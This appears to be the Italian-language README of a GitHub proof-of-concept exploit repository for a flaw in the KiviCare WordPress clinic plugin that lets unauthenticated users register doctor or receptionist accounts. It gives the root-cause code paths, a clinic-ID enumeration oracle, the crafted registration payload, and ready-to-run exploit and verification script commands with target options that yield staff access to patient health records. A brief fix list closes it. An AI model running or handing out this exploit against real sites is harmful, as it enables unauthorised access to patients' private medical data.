ghostpels/cve-2026-13610Exploit PoC per la creazione non autenticata di account medico/receptionist nel plugin WordPress KiviCare tramite una gestione impropria dei privilegi, che fornisce accesso PHI a livello di personale.
CWE-269 (Gestione impropria dei privilegi) | Registrazione non autenticata con ruolo del personale scelto dall'attaccante → divulgazione delle PHI dei pazienti
Vulnerabilità critica nel plugin WordPress KiviCare – Sistema di gestione di cliniche e pazienti (versioni fino alla 4.5.1 inclusa) che consente a attaccanti non autenticati di registrare un account medico (kiviCare_doctor) o receptionist (kiviCare_receptionist) con una password autoselezionata, associato a una clinica scelta dall'attaccante.
La vulnerabilità esiste perché l'endpoint di registrazione pubblico prende il parametro user_role direttamente dal corpo della richiesta, e la sua whitelist di validazione include i ruoli del personale della clinica:
| Controllo | Funzione | Esito |
|---|---|---|
permission_callback | Nessun is_user_logged_in(), nessun nonce, nessun controllo delle capacità | Superato; termina con return true |
Whitelist user_role | Accetta kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | L'attaccante seleziona un ruolo del personale |
Parametro patient_role_only | Dichiarato con default yes | Mai letto — parametro morto |
| reCAPTCHA | Validato solo if (isset($params['recaptchaToken'])) | Bypassato omettendo il parametro |
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-13610 |
| CWE | CWE-269 (Gestione impropria dei privilegi) |
| Plugin | KiviCare – Sistema di gestione di cliniche e pazienti |
| Versioni interessate | Fino alla 4.5.1 inclusa |
| Patch disponibile | Non confermata al momento di questa analisi |
| Tipo | Creazione non autenticata di account con ruolo del personale (escalation dei privilegi) |
| Ricercatore | Sai Praneeth Koti |
| Pubblicazione | 2026 |
L'endpoint di registrazione POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) è protetto solo da
checkRegistrationPermission() (:602–650), che:
true immediatamente se users_can_register è abilitato (nessun controllo di autenticazione).KCOption::get() restituisce null sulle installazioni predefinite.return true alla fine della funzione.Il gestore register() (:1277–1387) legge quindi user_role dal corpo della richiesta, lo mappa sui modelli KCDoctor / KCReceptionist e chiama $model->save() — che esegue wp_insert_user() e setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) senza alcun controllo di autorizzazione. L'account risultante è attivo e associato alla clinica scelta dall'attaccante.
La crittografia E2EE del corpo del plugin non costituisce una barriera: gli endpoint di handshake (server-key, config/register-key) non sono autenticati (app/controllers/api/ConfigController.php:190–205), quindi qualsiasi client può negoziare una chiave ospite e inviare un payload crittografato.
Procedura completa: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
Lo script rileva automaticamente la modalità di trasporto (JSON semplice vs crittografato E2EE) ed enumera gli ID delle cliniche quando --clinic non viene fornito.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Effettua il login tramite REST, ricollega la chiave di risposta E2EE dell'account, quindi chiama gli endpoint riservati al personale (/patients, /appointments).
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
Uno sfruttamento riuscito produce un account del personale attivo associato a una clinica reale, senza bisogno di autenticazione:
wp-admin (read + upload_files) — un punto d'appoggio per ulteriori attacchiL'endpoint non consente di creare un account WordPress administrator (la whitelist di user_role lo rifiuta), ma il ruolo di medico è sufficiente per l'accesso completo ai dati clinici.
patient_role_only dichiaratocurrent_user_can('create_users') + verifica del noncecheckRegistrationPermission — rimuovere il fallthrough finale return truerecaptchaToken quando reCAPTCHA è abilitato (attualmente opzionale)